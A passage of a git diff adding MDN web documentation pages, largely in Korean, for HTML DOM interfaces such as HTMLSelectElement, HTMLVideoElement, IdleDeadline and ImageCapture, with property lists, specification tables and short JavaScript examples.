{{domxref("HTMLSelectElement.length")}}
+
An unsigned long The number of {{HTMLElement("option")}} elements in this select element.
+
{{domxref("HTMLSelectElement.multiple")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.
+
{{domxref("HTMLSelectElement.name")}}
+
A {{domxref("DOMString")}} reflecting the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.
+
{{domxref("HTMLSelectElement.options")}}{{ReadOnlyInline}}
+
An {{domxref("HTMLOptionsCollection")}} representing the set of {{HTMLElement("option")}} ({{domxref("HTMLOptionElement")}}) elements contained by this element.
+
{{domxref("HTMLSelectElement.required")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}
+
{{domxref("HTMLSelectElement.selectedIndex")}}
+
A long reflecting the index of the first selected {{HTMLElement("option")}} element. The value -1 indicates no element is selected.
+
{{domxref("HTMLSelectElement.selectedOptions")}}{{ReadOnlyInline}}
+
An {{domxref("HTMLCollection")}} representing the set of {{HTMLElement("option")}} elements that are selected.
+
{{domxref("HTMLSelectElement.size")}}
+
A long reflecting the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless multiple is true, in which case it is 4.
+
{{domxref("HTMLSelectElement.type")}}{{ReadOnlyInline}}
+
A {{domxref("DOMString")}} represeting the form control's type. When multiple is true, it returns "select-multiple"; otherwise, it returns "select-one".
+
{{domxref("HTMLSelectElement.validationMessage")}}{{ReadOnlyInline}}
+
A {{domxref("DOMString")}} representing a localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (willValidate is false), or it satisfies its constraints.
+
{{domxref("HTMLSelectElement.validity")}}{{ReadOnlyInline}}
+
A {{domxref("ValidityState")}} reflecting the validity state that this control is in.
+
{{domxref("HTMLSelectElement.value")}}
+
A {{domxref("DOMString")}} reflecting the value of the form control. Returns the value property of the first selected option element if there is one, otherwise the empty string.
+
{{domxref("HTMLSelectElement.willValidate")}}{{ReadOnlyInline}}
+
A {{jsxref("Boolean")}} that indicates whether the button is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.
+
+ +

Methods

+ +

This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.

+ +
+
{{domxref("HTMLSelectElement.add()")}}
+
Adds an element to the collection of option elements for this select element.
+
{{domxref("HTMLSelectElement.blur()")}}{{obsolete_inline}}
+
Removes input focus from this element. This method is now implemented on {{domxref("HTMLElement")}}.
+
{{domxref("HTMLSelectElement.checkValidity()")}}
+
Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element (and returns false).
+
{{domxref("HTMLSelectElement.focus()")}}{{obsolete_inline}}
+
Gives input focus to this element. This method is now implemented on {{domxref("HTMLElement")}}.
+
{{domxref("HTMLSelectElement.item()")}}
+
Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.
+
{{domxref("HTMLSelectElement.namedItem()")}}
+
Gets the item in the options collection with the specified name. The name string can match either the id or the name attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.
+
{{domxref("HTMLSelectElement.remove()")}}
+
Removes the element at the specified index from the options collection for this select element.
+
{{domxref("HTMLSelectElement.reportValidity()")}}
+
This method reports the problems with the constraints on the element, if any, to the user. If there are problems, it fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element, and returns false; if there are no problems, it returns true.
+
{{domxref("HTMLSelectElement.setCustomValidity()")}}
+
Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does not have a custom validity error.
+
+ +

Events

+ +

Listen to these events using {{domxref("EventTarget/addEventListener", "addEventListener()")}} or by assigning an event listener to the oneventname property of this interface:

+ +
+
{{domxref("HTMLElement/input_event", "input")}} event
+
Fires when the value of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.
+
+ +

Example

+ +

Get information about the selected option

+ +
/* assuming we have the following HTML
+<select id='s'>
+    <option>First</option>
+    <option selected>Second</option>
+    <option>Third</option>
+</select>
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+
+ +

A better way to track changes to the user's selection is to watch for the {{domxref("HTMLElement/change_event", "change")}} event to occur on the <select>. This will tell you when the value changes, and you can then update anything you need to. See the example provided in the documentation for the change event for details.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}{{Spec2('HTML WHATWG')}}Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the autocomplete property and the reportValidity() method.
{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}{{Spec2('HTML5 W3C')}}Is a snapshot of {{SpecName("HTML WHATWG")}}.
+ It adds the autofocus, form, required, labels, selectedOptions, willValidate, validity and validationMessage properties.
+ The tabindex property and the blur() and focus() methods have been moved to {{domxref("HTMLElement")}}.
+ The methods item(), namedItem(), checkValidity() and setCustomValidity().
{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}{{Spec2('DOM2 HTML')}}options now returns an {{domxref("HTMLOptionsCollection")}}.
+ length now returns an unsigned long.
{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLSelectElement")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlselectelement/selectedoptions/index.html b/files/ko/web/api/htmlselectelement/selectedoptions/index.html new file mode 100644 index 0000000000..da8993f4cf --- /dev/null +++ b/files/ko/web/api/htmlselectelement/selectedoptions/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLSelectElement.selectedOptions +slug: Web/API/HTMLSelectElement/selectedOptions +translation_of: Web/API/HTMLSelectElement/selectedOptions +--- +

{{APIRef("HTML DOM")}}

+ +

The read-only {{domxref("HTMLSelectElement")}} property selectedOptions contains a list of the {{HTMLElement("option")}} elements contained within the {{HTMLElement("select")}} element that are currently selected. The list of selected options is an {{domxref("HTMLCollection")}} object with one entry per currently selected option.

+ +

An option is considered selected if it has an {{domxref("HTMLOptionElement.selected")}} attribute.

+ +

Syntax

+ +
var selectedCollection = HTMLSelectElement.selectedOptions;
+ +

Value

+ +

An {{domxref("HTMLCollection")}} which lists every currently selected {{domxref("HTMLOptionElement")}} which is either a child of the {{domxref("HTMLSelectElement")}} or of an {{domxref("HTMLOptGroupElement")}} within the <select> element.

+ +

In other words, any option contained within the <select> element may be part of the results, but option groups are not included in the list.

+ +

If no options are currently selected, the collection is empty and returns a {{domxref("HTMLCollection.length", "length")}} of 0.

+ +

Example

+ +

In this example, a {{HTMLElement("select")}} element with a number of options is used to let the user order various food items.

+ +

HTML

+ +

The HTML that creates the selection box and the {{HTMLElement("option")}} elements representing each of the food choices looks like this:

+ +
<label for="foods">What do you want to eat?</label><br>
+<select id="foods" name="foods" size="7" multiple>
+  <option value="1">Burrito</option>
+  <option value="2">Cheeseburger</option>
+  <option value="3">Double Bacon Burger Supreme</option>
+  <option value="4">Pepperoni Pizza</option>
+  <option value="5">Taco</option>
+</select>
+<br>
+<button name="order" id="order">
+  Order Now
+</button>
+<p id="output">
+</p>
+ +

The <select> element is set to allow multiple items to be selected, and it is 7 rows tall. Note also the {{HTMLElement("button")}}, whose role it is to trigger fetching the {{domxref("HTMLCollection")}} of selected elements using the selected property.

+ +

JavaScript

+ +

The JavaScript code that establishes the event handler for the button, as well as the event handler itself, looks like this:

+ +
let orderButton = document.getElementById("order");
+let itemList = document.getElementById("foods");
+let outputBox = document.getElementById("output");
+
+orderButton.addEventListener("click", function() {
+  let collection = itemList.selectedOptions;
+  let output = "";
+
+  for (let i=0; i<collection.length; i++) {
+    if (output === "") {
+      output = "Your order for the following items has been placed: ";
+    }
+    output += collection[i].label;
+
+    if (i === (collection.length - 2) && (collection.length < 3)) {
+      output +=  " and ";
+    } else if (i < (collection.length - 2)) {
+      output += ", ";
+    } else if (i === (collection.length - 2)) {
+      output += ", and ";
+    }
+  }
+
+  if (output === "") {
+    output = "You didn't order anything!";
+  }
+
+  outputBox.innerHTML = output;
+}, false);
+ +

This script sets up a {{event("click")}} event listener on the "Order Now" button. When clicked, the event handler fetches the list of selected options using selectedOptions, then iterates over the options in the list. A string is constructed to list the ordered items, with logic to build the list using proper English grammar rules (including a {{interwiki("wikipedia", "serial comma")}}).

+ +

Result

+ +

The resulting content looks like this in action:

+ +

{{EmbedLiveSample("Example", 600, 250)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "form-elements.html#dom-select-selectedoptions", "HTMLSelectElement.selectedOptions")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "forms.html#dom-select-selectedoptions", "HTMLSelectElement.selectedOptions")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLSelectElement.selectedOptions")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlspanelement/index.html b/files/ko/web/api/htmlspanelement/index.html new file mode 100644 index 0000000000..084f295382 --- /dev/null +++ b/files/ko/web/api/htmlspanelement/index.html @@ -0,0 +1,61 @@ +--- +title: HTMLSpanElement +slug: Web/API/HTMLSpanElement +tags: + - API + - HTML DOM + - 레퍼런스 + - 인터페이스 +translation_of: Web/API/HTMLSpanElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

HTMLSpanElement 인터페이스는 {{HTMLElement("span")}} 엘리먼트를 나타내며 {{ domxref("HTMLElement") }} 인터페이스로부터 파생되었으며 부가적인 프로퍼티나 메소드는 구현되지 않았습니다.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

프로퍼티

+ +

특정 프로퍼티가 없으며, 부모인 {{domxref("HTMLElement")}} 로부터 프로퍼티를 상속받습니다.

+ +

메소드

+ +

특정 메소드가 없으며, 부모인 {{domxref("HTMLElement")}} 로부터 메소드를 상속받습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG', "#htmlspanelement", "HTMLSpanElement")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', "text-level-semantics.html#the-span-element", "HTMLSpanElement")}}{{Spec2('HTML5 W3C')}}초기 정의는 {{HTMLElement("span")}} 이 {{domxref("HTMLElement")}} 와 연관되어 있었음.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLSpanElement")}}

+ +

함께 보기

+ + + +
 
diff --git a/files/ko/web/api/htmltableelement/index.html b/files/ko/web/api/htmltableelement/index.html new file mode 100644 index 0000000000..551d68b58e --- /dev/null +++ b/files/ko/web/api/htmltableelement/index.html @@ -0,0 +1,109 @@ +--- +title: table +slug: Web/API/HTMLTableElement +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/HTMLTableElement +--- +

{{ ApiRef() }}

+

HTML Table 요소 인터페이스

+

table 개체는 (상속으로 이용할 수 있는 정규 element 개체 인터페이스 외에) HTML 표의 layout과 presentation을 다루는 특수 프로퍼티와 메소드를 제공하는 HTMLTableElement 인터페이스를 내놓습니다.

+

프로퍼티

+
+
+ table.caption
+
+ caption은 표 caption을 반환합니다.
+
+ table.tHead
+
+ tHead는 표 head를 반환합니다.
+
+ table.tFoot
+
+ tFoot은 표 footer를 반환합니다.
+
+ table.rows
+
+ rows는 표의 줄(row)을 반환합니다.
+
+ table.tBodies
+
+ tBodies는 표 body를 반환합니다.
+
+
+
+ table.align
+
+ align은 표 정렬을 get/set합니다.
+
+ table.bgColor {{ Deprecated_inline() }} 
+
+ bgColor는 표의 배경색을 get/set합니다.
+
+ table.border
+
+ border는 표 border를 get/set합니다.
+
+ table.cellPadding
+
+ cellPadding은 cell padding을 get/set합니다.
+
+ table.cellSpacing
+
+ cellSpacing은 표 주변 spacing을 get/set합니다.
+
+ table.frame
+
+ frame은 표 어느 쪽이 border를 가질 지를 지정합니다.
+
+ table.rules
+
+ rules는 안쪽 border가 보일 지를 지정합니다.
+
+ table.summary
+
+ summary는 표 요약을 get/set합니다.
+
+ table.width
+
+ width는 표 너비를 get/set합니다.
+
+

메소드

+
+
+ table.createTHead
+
+ createTHead는 표 header를 만듭니다.
+
+ table.deleteTHead
+
+ deleteTHead는 표 header를 없앱니다.
+
+ table.createTFoot
+
+ createTFoot은 표 footer를 만듭니다.
+
+ table.deleteTFoot
+
+ deleteTFoot은 표 footer를 없앱니다.
+
+ table.createCaption
+
+ createCaption는 표에 새 caption을 만듭니다.
+
+ table.deleteCaption
+
+ deleteCaption은 표 caption을 없앱니다.
+
+ table.insertRow
+
+ insertRow는 새 줄을 삽입합니다.
+
+ table.deleteRow
+
+ deleteRow는 줄을 없앱니다.
+
+

{{ languages( { "en": "en/DOM/table", "pl": "pl/DOM/table" } ) }}

diff --git a/files/ko/web/api/htmltableelement/width/index.html b/files/ko/web/api/htmltableelement/width/index.html new file mode 100644 index 0000000000..de93d46543 --- /dev/null +++ b/files/ko/web/api/htmltableelement/width/index.html @@ -0,0 +1,28 @@ +--- +title: table.width +slug: Web/API/HTMLTableElement/width +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/HTMLTableElement/width +--- +

{{ ApiRef() }}

+

요약

+

width는 바라는 테이블의 너비를 지정합니다.

+

구문

+
HTMLTableElement.width =width;
+varwidth =HTMLTableElement.width;
+
+

width가 픽셀수나 퍼센트 값으로 너비를 나타내는 문자열인 곳.

+

예제

+
mytable.width = "75%";
+
+

스펙

+

W3C DOM 2 HTML Specification + + HTMLTableElement + .width

+
+  
+

{{ languages( { "en": "en/DOM/table.width" } ) }}

diff --git a/files/ko/web/api/htmltemplateelement/index.html b/files/ko/web/api/htmltemplateelement/index.html new file mode 100644 index 0000000000..d53e94b947 --- /dev/null +++ b/files/ko/web/api/htmltemplateelement/index.html @@ -0,0 +1,58 @@ +--- +title: HTMLTemplateElement +slug: Web/API/HTMLTemplateElement +tags: + - API + - HTML DOM + - HTMLTemplateElement + - 레퍼런스 + - 웹 컴포넌트 + - 인터페이스 +translation_of: Web/API/HTMLTemplateElement +--- +
{{APIRef("Web Components")}}
+ +

HTMLTemplateElement 인터페이스는 HTML {{HTMLElement("template")}} 엘리먼트의 컨텐츠에 접근할 수 있게 해줍니다.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

프로퍼티

+ +

이 인터페이스는 {{domxref("HTMLElement")}} 의 프로퍼티를 상속받습니다.

+ +
+
{{domxref("HTMLTemplateElement.content")}}{{readonlyinline}}
+
{{domxref("DocumentFragment")}}: {{HTMLElement("template")}} 엘리먼트의 템플릿 컨텐츠를 반환합니다.
+
+ +

메소드

+ +

이 인터페이스는 {{domxref("HTMLElement")}} 의 메소드를 상속받습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG','scripting.html#htmltemplateelement','HTMLTemplateElement interface')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C','scripting-1.html#htmltemplateelement','HTMLTemplateElement interface')}}{{Spec2('HTML5 W3C')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLTemplateElement")}}

diff --git a/files/ko/web/api/htmltitleelement/index.html b/files/ko/web/api/htmltitleelement/index.html new file mode 100644 index 0000000000..dedc718022 --- /dev/null +++ b/files/ko/web/api/htmltitleelement/index.html @@ -0,0 +1,77 @@ +--- +title: HTMLTitleElement +slug: Web/API/HTMLTitleElement +tags: + - API + - HTML DOM + - Interface + - Reference +translation_of: Web/API/HTMLTitleElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLTitleElement 인터페이스는 문서의 제목을 담습니다. {{domxref("HTMLElement")}} 인터페이스의 속성과 메서드를 상속합니다,

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +
+
{{domxref("HTMLTitleElement.text")}}
+
문서의 제목을 나타내는 {{domxref("DOMString")}}입니다.
+
+ +

메서드

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmltitleelement", "HTMLTitleElement")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', "document-metadata.html#the-title-element", "HTMLTitleElement")}}{{Spec2('HTML5.1')}}No change from {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "document-metadata.html#the-title-element", "HTMLTitleElement")}}{{Spec2('HTML5 W3C')}}No change from {{SpecName("DOM2 HTML")}}.
{{SpecName('DOM2 HTML', 'html.html#ID-79243169', 'HTMLTitleElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-79243169', 'HTMLTitleElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLTitleElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlvideoelement/index.html b/files/ko/web/api/htmlvideoelement/index.html new file mode 100644 index 0000000000..f3037ee675 --- /dev/null +++ b/files/ko/web/api/htmlvideoelement/index.html @@ -0,0 +1,117 @@ +--- +title: HTMLVideoElement +slug: Web/API/HTMLVideoElement +translation_of: Web/API/HTMLVideoElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLVideoElement 인터페이스는 Video object를 조작하는데 필요한 프로퍼티와 메소드를 제공합니다. {{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}를 상속합니다.

+ +

지원하는 미디어 포맷 목록은 브라우저마다 다릅니다. 여러분은 적절한 범위의 브라우저에서 지원하는 한가지 비디어 포맷을 제공하던가, 지원할 모든 브라우저를 위한 여러 종류의 미디어 포맷을 제공해야 합니다.

+ +

{{InheritanceDiagram(600, 140)}}

+ +

속성(Properties)

+ +

{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 속성들도 상속 받습니다.

+ +
+
{{domxref("HTMLVideoElement.height")}}
+
표시 영역의 높이를 나타내는 HTML Attribute {{htmlattrxref("height", "video")}}의 값을  {{domxref("DOMString")}}으로 반환합니다. 단위는 pixel입니다.
+
{{domxref("HTMLVideoElement.poster")}}
+
비디오 데이터가 없을 때 보여줄 이미지를 지정하는 HTML Attribute {{htmlattrxref("poster", "video")}}의 값을 {{domxref("DOMString")}}로 반환합니다.
+
{{domxref("HTMLVideoElement.videoHeight")}} {{readonlyInline}}
+
비디오의 height를 부호 없는 정수로 나타낸 값을 반환합니다. 비디오가 없는 경우 0을 반환합니다.
+
{{domxref("HTMLVideoElement.videoWidth")}} {{readonlyInline}}
+
비디오의 width를 부호 없는 정수로 나타낸 값을 반환합니다. 비디오가 없는 경우 0을 반환합니다.
+
{{domxref("HTMLVideoElement.width")}}
+
표시 영역의 높이를 나타내는 HTML Attribute {{htmlattrxref("width", "video")}}의 값을  {{domxref("DOMString")}}으로 반환합니다. 단위는 pixel입니다.
+
+ +

Gecko 전용 속성

+ +
+
{{domxref("HTMLVideoElement.mozParsedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
미디어 소스에서 파싱된 비디오 프레임 수를 unsigned long 값으로 반환합니다.
+
{{domxref("HTMLVideoElement.mozDecodedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
화상으로 디코딩 된 비디오 프레임 수를 unsigned long 값으로 반환합니다.
+
{{domxref("HTMLVideoElement.mozPresentedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
렌더링 파이프 라인을 통해 출력된 디코드 프레임 수를 unsigned long 값으로 반환합니다.
+
{{domxref("HTMLVideoElement.mozPaintedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
화면에 그려진 프레임 수를 unsigned long 값으로 반환합니다.
+
{{domxref("HTMLVideoElement.mozFrameDelay")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
지연 출력된 비디오 프레임을 초 단위로 double 값으로 반환한다.
+
{{domxref("HTMLVideoElement.mozHasAudio")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
비디오와 연관된 오디오 존재 여부를 {{JSxRef("Boolean","boolean")}} 값으로 반환한다.
+
+ +

Microsoft 확장 속성

+ +
+
{{DOMxRef("HTMLVideoElement.msFrameStep()")}} {{Non-standard_Inline}}
+
프레임 단위로 앞/뒤로 이동합니다.
+
{{DOMxRef("HTMLVideoElement.msHorizontalMirror")}} {{Non-standard_Inline}}
+
비디오의 좌/우 반전 시키거나 반전된 상태를 반환합니다.
+
{{DOMxRef("HTMLVideoElement.msInsertVideoEffect()")}} {{Non-standard_Inline}}
+
미디어 파이프라인에 특정 비디오 효과를 추가합니다.
+
{{DOMxRef("HTMLVideoElement.msIsLayoutOptimalForPlayback")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
더 효과적인 비디오 렌더링이 가능하면 true를 반환합니다.
+
{{DOMxRef("HTMLVideoElement.msIsStereo3D")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
시스템이 비디오를 stereo 3-D로 판단하였는지 여부를 반환합니다. 값을 true로 지정한다면 video를 stereo 3-D로 인식합니다..
+
{{DOMxRef("HTMLVideoElement.msZoom")}} {{Non-standard_Inline}}
+
비디오 프레임을 출력부에 딱 맞게 트림합니다.
+
+ +

메소드

+ +

{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 메소드도 상속 받습니다.

+ +
+
{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} {{experimental_inline}}
+
현재 재생 결과를 담고 있는 {{domxref("VideoPlaybackQuality")}} 객체를 반환합니다. 전체 프레임 중 drop 되거나 손실된 프레임 등 재생 정보를 포함합니다.
+
+ +

Events

+ +

{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 이벤트를 상속합니다. addEventListener() 메소드 또는 oneventname 프로퍼티에 리스너를 전달하여 이벤트를 수신합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#idl-def-HTMLVideoElement', 'Extensions to HTMLVideoElement')}}{{Spec2("Media Source Extensions")}}getVideoPlaybackQuality() 메소드 추가.
{{SpecName('HTML WHATWG', "#htmlvideoelement", "HTMLVideoElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-video-element", "HTMLVideoElement")}}{{Spec2('HTML5 W3C')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLVideoElement")}}

+ +

더 보기

+ + diff --git a/files/ko/web/api/idledeadline/didtimeout/index.html b/files/ko/web/api/idledeadline/didtimeout/index.html new file mode 100644 index 0000000000..e806769576 --- /dev/null +++ b/files/ko/web/api/idledeadline/didtimeout/index.html @@ -0,0 +1,58 @@ +--- +title: IdleDeadline.didTimeout +slug: Web/API/IdleDeadline/didTimeout +translation_of: Web/API/IdleDeadline/didTimeout +--- +
{{APIRef("Background Tasks")}}
+ +

{{domxref("IdleDeadline")}} 인터페이스의 읽기 전용 속성(property)인 didTimeout 는 {{domxref("Window.requestIdleCallback()")}}이 호출될 때 지정된 timeout 간격이 만료되어, 유휴 콜백(idle callback)이 호출되는지 여부를 나타내는 Boolean 값 입니다.

+ +

didTimeout 이 true 면, IdleDeadline 객체의 {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드는 대략 0을 반환합니다..

+ +

유휴 콜백은 사용자 에이전트가 충분한 유휴 시간을 사용할 수 없는 경우에도, 수행하려는 작업이 실제로 발생하는지 확인하기 위해 timeout 개념을 지원합니다. 브라우저가 너무 바빠서 시간을 허락하지 않더라도, 액션을 수행해야 하는 경우 콜백은 일반적으로 didTimeout값을 확인합니다. 필요로 하는 작업을 수행하거나, 이상적인 상황을 유지하기 위해 수행할 수 있는 최소한의 작업을 수행하도록 대응하고, 새로운 콜백을 예약하여 나머지 작업을 다시 시도하도록 해야합니다.

+ +

Syntax

+ +
var timedOut = IdleDeadline.didTimeout;
+ +

Value

+ +

Boolean 으로, 콜백의 timeout 기간이 경과하여 콜백이 실행 중이면 true 입니다. 사용자 에이전트가 유휴 상태이고 콜백에 시간을 제공하고 있기 때문에 콜백이 실행 중이면, false 입니다.

+ +

Example

+ +

Cooperative Scheduling of Background Tasks API의 complete example 를 참조하세요

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Background Tasks")}}{{Spec2("Background Tasks")}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IdleDeadline.didTimeout")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/idledeadline/index.html b/files/ko/web/api/idledeadline/index.html new file mode 100644 index 0000000000..0ebb461482 --- /dev/null +++ b/files/ko/web/api/idledeadline/index.html @@ -0,0 +1,66 @@ +--- +title: IdleDeadline +slug: Web/API/IdleDeadline +translation_of: Web/API/IdleDeadline +--- +
{{APIRef("Background Tasks")}}
+ +
+

IdleDeadline 인터페이스는 {{domxref("Window.requestIdleCallback()")}}을 호출하여 설정된 유휴 콜백(idle callback)에 대한 입력 매개변수(parameter)의 데이터 타입으로 사용됩니다. {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드를 제공하여 사용자 에이전트가 유휴 상태로있을 것으로 추정하는 시간과 속성(property)인 {{domxref("IdleDeadline.didTimeout", "didTimeout")}}을 결정할 수있게하여, timeout 기간이 만료되어 콜백이 실행 중인지 여부를 결정할 수 있습니다.

+ +

request callback이 작동하는 방식에 대해 자세히알아 보려면, Collaborative Scheduling of Background Tasks 문서를 읽어보세요.

+
+ +

Properties

+ +
+
{{domxref("IdleDeadline.didTimeout")}} {{ReadOnlyInline}}
+
유휴 콜백을 구현할 때 지정한 timeout이 만료되었음에도 콜백이 실행중인 경우, 값이 true인 Boolean 입니다.
+
+ +

Methods

+ +
+
{{domxref("IdleDeadline.timeRemaining()")}}
+
현재 유휴 기간(idle period)에 남아있는 밀리초 수를 예측하는 부동 소수점 값인 {{domxref("DOMHighResTimeStamp")}}를 반환합니다. 유휴 기간이 끝나면 값은 0 입니다. 우리의 콜백은 이것을 반복적으로 호출하여, 반환하기 전에 더 많은 작업을 할 수 있는 충분한 시간이 있는지 확인할 수 있습니다.
+
+ +
+
+ +

Example

+ +

Cooperative Scheduling of Background Tasks API의 complete example를 참조하세요.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Background Tasks")}}{{Spec2("Background Tasks")}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IdleDeadline")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/imagecapture/getphotocapabilities/index.html b/files/ko/web/api/imagecapture/getphotocapabilities/index.html new file mode 100644 index 0000000000..9ee855a96d --- /dev/null +++ b/files/ko/web/api/imagecapture/getphotocapabilities/index.html @@ -0,0 +1,79 @@ +--- +title: ImageCapture.getPhotoCapabilities() +slug: Web/API/ImageCapture/getPhotoCapabilities +tags: + - API + - Experimental + - ImageCapture + - MediaStream Image Capture API + - Method + - Reference +translation_of: Web/API/ImageCapture/getPhotoCapabilities +--- +
{{APIRef("MediaStream Image")}}
+ +

{{domxref("ImageCapture")}} 인터페이스의 getPhotoCapabilities() 메서드는 사용 가능한 설정 옵션을 담은 {{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.

+ +

구문

+ +
const capabilitiesPromise = imageCaptureObj.getPhotoCapabilities()
+ +

반환 값

+ +

{{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}.

+ +

예제

+ +

다음 예제는 Chrome의 Image Capture / Photo Resolution Sample에서 가져온 코드로, getPhotoCapabilities()를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.

+ +
const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream => {
+  document.querySelector('video').srcObject = mediaStream;
+
+  const track = mediaStream.getVideoTracks()[0];
+  imageCapture = new ImageCapture(track);
+
+  return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities => {
+  const settings = imageCapture.track.getSettings();
+
+  input.min = photoCapabilities.imageWidth.min;
+  input.max = photoCapabilities.imageWidth.max;
+  input.step = photoCapabilities.imageWidth.step;
+
+  return imageCapture.getPhotoSettings();
+})
+.then(photoSettings => {
+  input.value = photoSettings.imageWidth;
+})
+.catch(error => console.log('Argh!', error.name || error));
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-getphotocapabilities','getPhotoCapabilities()')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.getPhotoCapabilities")}}

+
